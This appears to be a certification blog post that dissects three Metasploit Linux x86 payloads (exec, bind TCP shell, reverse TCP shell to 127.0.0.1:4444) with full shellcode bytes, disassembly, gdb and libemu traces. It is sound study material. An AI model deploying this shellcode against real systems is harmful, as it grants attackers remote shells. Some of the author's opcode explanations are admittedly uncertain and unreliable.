The fifth assignment for completing the SecurityTube Linux Assembly Expert is analyzing three different msfpayloads using libemu, gdb and ndisasm. I decided two go with an execve, tcp shell and reverse tcp shell payload. The goal is to understand how these payloads are constructed, how they work and what they do. The benefit of analyzing shellcode yourself is that you learn new techniques by looking at different shellcodes. Below you can find my three analysis.
Information
Github Repository: https://github.com/cloud101/SLAE32/
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-251
linux/x86/exec
The first payload I will analyze is the exec payload which executes a command remotely. The payload can be found below:
/* * linux/x86/exec - 41 bytes * http://www.metasploit.com * VERBOSE=false, PrependSetresuid=false, * PrependSetreuid=false, PrependSetuid=false, * PrependSetresgid=false, PrependSetregid=false, * PrependSetgid=false, PrependChrootBreak=false, * AppendExit=false, CMD=ls -l */ unsigned char buf[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68" "\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x06\x00\x00\x00\x6c" "\x73\x20\x2d\x6c\x00\x57\x53\x89\xe1\xcd\x80";
I also took the payload and ran it through libemu:
Image may be NSFW.
Clik here to view.
I also compiled the code with the -S flag for gcc which outputs this into an assembly file. You can find it here:
.file "shellcode.c" .globl buf .data .align 32 .type buf, @object .size buf, 42 buf: .string "j\013X\231Rfh-c\211\347h/sh" .string "h/bin\211\343R\350\006" .string "" .string "" .string "ls -l" .string "WS\211\341\315\200" .section .rodata .LC0: .string "Shellcode Length: %d\n" .text .globl main .type main, @function main: .LFB0: .cfi_startproc pushl %ebp .cfi_def_cfa_offset 8 .cfi_offset 5, -8 movl %esp, %ebp .cfi_def_cfa_register 5 pushl %edi andl $-16, %esp subl $48, %esp movl $buf, %eax movl $-1, 28(%esp) movl %eax, %edx movl $0, %eax movl 28(%esp), %ecx movl %edx, %edi .cfi_offset 7, -12 repnz scasb movl %ecx, %eax notl %eax leal -1(%eax), %edx movl $.LC0, %eax movl %edx, 4(%esp) movl %eax, (%esp) call printf movl $buf, 44(%esp) movl 44(%esp), %eax call *%eax movl -4(%ebp), %edi leave .cfi_restore 5 .cfi_def_cfa 4, 4 .cfi_restore 7 ret .cfi_endproc .LFE0: .size main, .-main .ident "GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3" .section .note.GNU-stack,"",@progbits
I then ran it through gdb with the following hook-stop:
(gdb) define hook-stop Type commands for definition of "hook-stop". End with a line saying just "end". >disassemble >info registers edx >info registers eax >info registers ebx >info registers ecx >info registers esi >info registers edi >info registers esp
The following disassembled code can be seen:
Dump of assembler code for function buf: => 0x0804a040 <+0>: push 0xb 0x0804a042 <+2>: pop eax 0x0804a043 <+3>: cdq 0x0804a044 <+4>: push edx 0x0804a045 <+5>: pushw 0x632d 0x0804a049 <+9>: mov edi,esp 0x0804a04b <+11>: push 0x68732f 0x0804a050 <+16>: push 0x6e69622f 0x0804a055 <+21>: mov ebx,esp 0x0804a057 <+23>: push edx 0x0804a058 <+24>: call 0x804a063 <buf+35> 0x0804a05d <+29>: ins BYTE PTR es:[edi],dx 0x0804a05e <+30>: jae 0x804a080 0x0804a060 <+32>: sub eax,0x5357006c 0x0804a065 <+37>: mov ecx,esp 0x0804a067 <+39>: int 0x80 0x0804a069 <+41>: add BYTE PTR [eax],al
Let's step through it.
push byte 0xb pop eax
This is a system call, I looked up 0xb (11) in unistd_32.h and noted that this is the execve system call:
Image may be NSFW.
Clik here to view.
I continued scrolling through the code but and noted that there was a cwd instruction, which seems unused.
cwd ;normally doubles the size of an operand and moves it into edx, but does not seem to be used as edx stays 0x0 ; (if anyone knows why it stays 0, please enlighten me) push edx ; push edx onto the stack push word 0x632d ; 0x632d is pushed onto the stack mov edi,esp ;stack pointer is moved into edi
I then inspect what's on the top of the stack:
(gdb) x/2cb $esp 0xbffff656: 45 '-' 99 'c'
We see '-c'
push dword 0x68732f
Let's inspect again what's on the top of the stack
(gdb) x/3cb $esp 0xbffff652: 47 '/' 115 's' 104 'h'
we now see '/sh'
push dword 0x6e69622f
(gdb) x/4cb $esp 0xbffff64e: 47 '/' 98 'b' 105 'i' 110 'n'
So now we have '/bin/sh -c' on top of the stack. An excerpt from the bash manpage:
OPTIONS In addition to the single-character shell options documented in the description of the set builtin command, bash interprets the following options when it is invoked: -c string If the -c option is present, then commands are read from string. If there are arguments after the string, they are assigned to the positional parameters, starting with $0.
Commands to be executed are passed as a string to /bin/sh. The rest after this gave me errors while analyzing, so I just put a break before the system call.
mov ebx,esp push edx call 0x1 push edi push ebx mov ecx,esp int 0x80
I ran into the the last part of the shellcode and my 'ls -l' option was nowhere to be found. I looked at the shellcode directly. I noted a lot of \x00 bytes and these could probably break the code. I looked up the ASCII codes for '-l' this was \x2d\x6c. It's present in the shellcode, but only after the last bytes. So I just took the shellcode and analysed it by hand with an opcode and ASCII table. Look at this small excerpt
\x06\x00\x00\x00\x6c" "\x73\x20\x2d\x6c
This is executed right after the \x00 instructions which I believe are breaking my code. I'll first look at the last instruction before the \x00 bytes, which is \x06. When looking up this instruction in the opcode table I note that the instruction is "PUSH". So what comes after is either an address or a string. I first looked up \x6c, which is 'l', I then looked up \x73 which is 's', \x20 is a space and \x2d\6c is '-l'. So this is what's pushed onto the stack. Continuing, we see another \x00 after which follows \x53 which is another push instruction. After this there a bunch of instructions and \x80 which is a system call. This is my analysis for linux/x86/exec. There will probably be a better way to solve my problem where gdb doesn't seem to allow me to continue my program past the push of /bin/sh -c. If anyone has a better way please post a solution in the comments or send me an email!
linux/x86/shell/bind_tcp
I decided to take bind_tcp which will assist me in writing my own bind shell and reverse bind shell. The shellcode generated consists of two stages.
Generated Shellcode:
/* * linux/x86/shell_bind_tcp - 78 bytes * http://www.metasploit.com * VERBOSE=false, LPORT=4444, RHOST=, PrependSetresuid=false, * PrependSetreuid=false, PrependSetuid=false, * PrependSetresgid=false, PrependSetregid=false, * PrependSetgid=false, PrependChrootBreak=false, * AppendExit=false, InitialAutoRunScript=, AutoRunScript= */ unsigned char buf[] = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" "\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" "\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" "\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" "\x0b\xcd\x80";
00000000 31DB xor ebx,ebx 00000002 F7E3 mul ebx 00000004 53 push ebx 00000005 43 inc ebx 00000006 53 push ebx 00000007 6A02 push byte +0x2 00000009 89E1 mov ecx,esp 0000000B B066 mov al,0x66 0000000D CD80 int 0x80 0000000F 5B pop ebx 00000010 5E pop esi 00000011 52 push edx 00000012 680200115C push dword 0x5c110002 00000017 6A10 push byte +0x10 00000019 51 push ecx 0000001A 50 push eax 0000001B 89E1 mov ecx,esp 0000001D 6A66 push byte +0x66 0000001F 58 pop eax 00000020 CD80 int 0x80 00000022 894104 mov [ecx+0x4],eax 00000025 B304 mov bl,0x4 00000027 B066 mov al,0x66 00000029 CD80 int 0x80 0000002B 43 inc ebx 0000002C B066 mov al,0x66 0000002E CD80 int 0x80 00000030 93 xchg eax,ebx 00000031 59 pop ecx 00000032 6A3F push byte +0x3f 00000034 58 pop eax 00000035 CD80 int 0x80 00000037 49 dec ecx 00000038 79F8 jns 0x32 0000003A 682F2F7368 push dword 0x68732f2f 0000003F 682F62696E push dword 0x6e69622f 00000044 89E3 mov ebx,esp 00000046 50 push eax 00000047 53 push ebx 00000048 89E1 mov ecx,esp 0000004A B00B mov al,0xb 0000004C CD80 int 0x80
And the flow with libemu:
Image may be NSFW.
Clik here to view.
int socket ( int domain = 2; int type = 1; int protocol = 0; ) = 14; int bind ( int sockfd = 14; struct sockaddr_in * my_addr = 0x00416fc2 => struct = { short sin_family = 2; unsigned short sin_port = 23569 (port=4444); struct in_addr sin_addr = { unsigned long s_addr = 0 (host=0.0.0.0); }; char sin_zero = " "; }; int addrlen = 16; ) = 0; int listen ( int s = 14; int backlog = 0; ) = 0; int accept ( int sockfd = 14; sockaddr_in * addr = 0x00000000 => none; int addrlen = 0x00000010 => none; ) = 19; int dup2 ( int oldfd = 19; int newfd = 14; ) = 14; int dup2 ( int oldfd = 19; int newfd = 13; ) = 13; int dup2 ( int oldfd = 19; int newfd = 12; ) = 12; int dup2 ( int oldfd = 19; int newfd = 11; ) = 11; int dup2 ( int oldfd = 19; int newfd = 10; ) = 10; int dup2 ( int oldfd = 19; int newfd = 9; ) = 9; int dup2 ( int oldfd = 19; int newfd = 8; ) = 8; int dup2 ( int oldfd = 19; int newfd = 7; ) = 7; int dup2 ( int oldfd = 19; int newfd = 6; ) = 6; int dup2 ( int oldfd = 19; int newfd = 5; ) = 5; int dup2 ( int oldfd = 19; int newfd = 4; ) = 4; int dup2 ( int oldfd = 19; int newfd = 3; ) = 3; int dup2 ( int oldfd = 19; int newfd = 2; ) = 2; int dup2 ( int oldfd = 19; int newfd = 1; ) = 1; int dup2 ( int oldfd = 19; int newfd = 0; ) = 0; int execve ( const char * dateiname = 0x00416fb2 => = "/bin//sh"; const char * argv[] = [ = 0x00416faa => = 0x00416fb2 => = "/bin//sh"; = 0x00000000 => none; ]; const char * envp[] = 0x00000000 => none; ) = 0;
Let's break it down, from the flowchart it seems like the code first makes a socket, binds to a port and listens on that port and from there it accepts connection. It also uses dup2, which is a function used to copy a file descriptor into another. Looking up what dup2 does I found the following description on programming4.us:
Standard input, standard output, and standard error are the three standard file descriptors used by programs to perform standard I/O. Sockets, too, are just file descriptors that can be read from and written to. By simply swapping the standard input, output, and error of the spawned shell with the connected socket file descriptor, the shell will write output and errors to the socket and read its input from the bytes that the socket received. There is a system call specifically for duplicating file descriptors, called dup2. This is system call number 63.
After this execve is executed which will probably contain /bin/sh. Tracing through it with gdb:
00000000 31DB xor ebx,ebx 00000002 F7E3 mul ebx [/86] Resetting the registers. Before: <pre> End of assembler dump. eax 0x804a040 134520896 ebx 0x0 0 edx 0xbffff6a4 -1073744220 esp 0xbffff65c edi 0x0 0 </pre> After: <pre> End of assembler dump. eax 0x0 0 ebx 0x0 0 edx 0x0 0 esp 0xbffff65c 0xbffff65c edi 0x0 0 </pre> 1 00000004 53 push ebx 00000005 43 inc ebx 00000006 53 push ebx 00000007 6A02 push byte +0x2 00000009 89E1 mov ecx,esp
Push 0, 1 and 2 onto the stack (this is for setting up the socket) and move the stack pointer into ecx (points to the argument list).
0000000B B066 mov al,0x66 0000000D CD80 int 0x80
Perform syscall 102
root@ubuntu:/home/lucas/Desktop/analysis/bind_shell# cat /usr/include/i386-linux-gnu/asm/unistd_32.h |grep 102 #define __NR_socketcall 102
Which is setting up a socket. A bit more info on the call (/usr/include/linux/net.h):
#define SYS_SOCKET 1 /* sys_socket(2) */ #define SYS_BIND 2 /* sys_bind(2) */ #define SYS_CONNECT 3 /* sys_connect(2) */ #define SYS_LISTEN 4 /* sys_listen(2) */ #define SYS_ACCEPT 5 /* sys_accept(2) */ #define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */ #define SYS_GETPEERNAME 7 /* sys_getpeername(2) */ #define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */ #define SYS_SEND 9 /* sys_send(2) */ #define SYS_RECV 10 /* sys_recv(2) */ #define SYS_SENDTO 11 /* sys_sendto(2) */ #define SYS_RECVFROM 12 /* sys_recvfrom(2) */ #define SYS_SHUTDOWN 13 /* sys_shutdown(2) */ #define SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */ #define SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */ #define SYS_SENDMSG 16 /* sys_sendmsg(2) */ #define SYS_RECVMSG 17 /* sys_recvmsg(2) */
0000000F 5B pop ebx 00000010 5E pop esi 00000011 52 push edx
pop 2 into ebx and 1 into esi. Then push edx, which is 0, on top of the stack.
00000012 680200115C push dword 0x5c110002 00000017 6A10 push byte +0x10 00000019 51 push ecx 0000001A 50 push eax 0000001B 89E1 mov ecx,esp 0000001D 6A66 push byte +0x66 0000001F 58 pop eax 00000020 CD80 int 0x80
The value 0x5c110002 contains our port (5c11=4444) onto the stack along with 0x10 (16) length of the arguments, then also push ecx (0xbffff650) (pointer to our socket) and eax (0x7) on to the stack. Finally move the top of the stackpointer into ecx and do another socket system call (bind).
00000022 894104 mov [ecx+0x4],eax 00000025 B304 mov bl,0x4 00000027 B066 mov al,0x66 00000029 CD80 int 0x80
Start listening for incoming connections.
0000002B 43 inc ebx 0000002C B066 mov al,0x66 0000002E CD80 int 0x80
Accept connections.
00000030 93 xchg eax,ebx 00000031 59 pop ecx 00000032 6A3F push byte +0x3f 00000034 58 pop eax 00000035 CD80 int 0x80 00000037 49 dec ecx 00000038 79F8 jns 0x32
Here we will use the dup2 so the input from our socket will be passed onto our shell by replacing the file descriptors.
0000003A 682F2F7368 push dword 0x68732f2f ; push "//sh" to the stack. 0000003F 682F62696E push dword 0x6e69622f ; push "/bin" to the stack. 00000044 89E3 mov ebx,esp 00000046 50 push eax 00000047 53 push ebx 00000048 89E1 mov ecx,esp 0000004A B00B mov al,0xb 0000004C CD80 int 0x80
Finally this is our shellcode which will get executed.
linux/x86/shell_reverse_tcp
The final shellcode I will analyze is the shell_reverse_tcp as it will also aid me in writing the reverse tcp shellcode. I will trace through it slightly faster because it's very similar to the previous shellcode.
Generated shellcode with msfpayload:
/* * linux/x86/shell_reverse_tcp - 68 bytes * http://www.metasploit.com * VERBOSE=false, LHOST=127.0.0.1, LPORT=4444, * ReverseConnectRetries=5, ReverseAllowProxy=false, * PrependSetresuid=false, PrependSetreuid=false, * PrependSetuid=false, PrependSetresgid=false, * PrependSetregid=false, PrependSetgid=false, * PrependChrootBreak=false, AppendExit=false, * InitialAutoRunScript=, AutoRunScript= */ unsigned char buf[] = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" "\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00\x01\x68" "\x02\x00\x11\x5c\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1" "\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" "\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
Libemu c code:
int socket ( int domain = 2; int type = 1; int protocol = 0; ) = 14; int dup2 ( int oldfd = 14; int newfd = 2; ) = 2; int dup2 ( int oldfd = 14; int newfd = 1; ) = 1; int dup2 ( int oldfd = 14; int newfd = 0; ) = 0; int connect ( int sockfd = 14; struct sockaddr_in * serv_addr = 0x00416fbe => struct = { short sin_family = 2; unsigned short sin_port = 23569 (port=4444); struct in_addr sin_addr = { unsigned long s_addr = 16777343 (host=127.0.0.1); }; char sin_zero = " "; }; int addrlen = 102; ) = 0; int execve ( const char * dateiname = 0x00416fa6 => = "/bin//sh"; const char * argv[] = [ = 0x00416f9e => = 0x00416fa6 => = "/bin//sh"; = 0x00000000 => none; ]; const char * envp[] = 0x00000000 => none; ) = 0;
Libemu flowchart:
Image may be NSFW.
Clik here to view.
Ndisasm:
00000000 31DB xor ebx,ebx 00000002 F7E3 mul ebx 00000004 53 push ebx 00000005 43 inc ebx 00000006 53 push ebx 00000007 6A02 push byte +0x2 00000009 89E1 mov ecx,esp 0000000B B066 mov al,0x66 0000000D CD80 int 0x80 0000000F 93 xchg eax,ebx 00000010 59 pop ecx 00000011 B03F mov al,0x3f 00000013 CD80 int 0x80 00000015 49 dec ecx 00000016 79F9 jns 0x11 00000018 687F000001 push dword 0x100007f 0000001D 680200115C push dword 0x5c110002 00000022 89E1 mov ecx,esp 00000024 B066 mov al,0x66 00000026 50 push eax 00000027 51 push ecx 00000028 53 push ebx 00000029 B303 mov bl,0x3 0000002B 89E1 mov ecx,esp 0000002D CD80 int 0x80 0000002F 52 push edx 00000030 682F2F7368 push dword 0x68732f2f 00000035 682F62696E push dword 0x6e69622f 0000003A 89E3 mov ebx,esp 0000003C 52 push edx 0000003D 53 push ebx 0000003E 89E1 mov ecx,esp 00000040 B00B mov al,0xb 00000042 CD80 int 0x80
00000000 31DB xor ebx,ebx 00000002 F7E3 mul ebx 00000004 53 push ebx 00000005 43 inc ebx 00000006 53 push ebx 00000007 6A02 push byte +0x2 00000009 89E1 mov ecx,esp 0000000B B066 mov al,0x66 0000000D CD80 int 0x80
Set up the socket.
0000000F 93 xchg eax,ebx 00000010 59 pop ecx 00000011 B03F mov al,0x3f 00000013 CD80 int 0x80
Change the file descriptors.
00000015 49 dec ecx 00000016 79F9 jns 0x11 00000018 687F000001 push dword 0x100007f 0000001D 680200115C push dword 0x5c110002 00000022 89E1 mov ecx,esp 00000024 B066 mov al,0x66 00000026 50 push eax 00000027 51 push ecx 00000028 53 push ebx 00000029 B303 mov bl,0x3 0000002B 89E1 mov ecx,esp 0000002D CD80 int 0x80
Then connect to the remote host on ip address 0x100007f (long -> 2130706433, dotted -> 127.0.0.1). Use port 0x5c11, which is 4444 in decimal.
0000002F 52 push edx 00000030 682F2F7368 push dword 0x68732f2f ; push "//sh" to the stack. 00000035 682F62696E push dword 0x6e69622f ; push "/bin" to the stack. 0000003A 89E3 mov ebx,esp 0000003C 52 push edx 0000003D 53 push ebx 0000003E 89E1 mov ecx,esp 00000040 B00B mov al,0xb 00000042 CD80 int 0x80
Spawn the shell. Profit.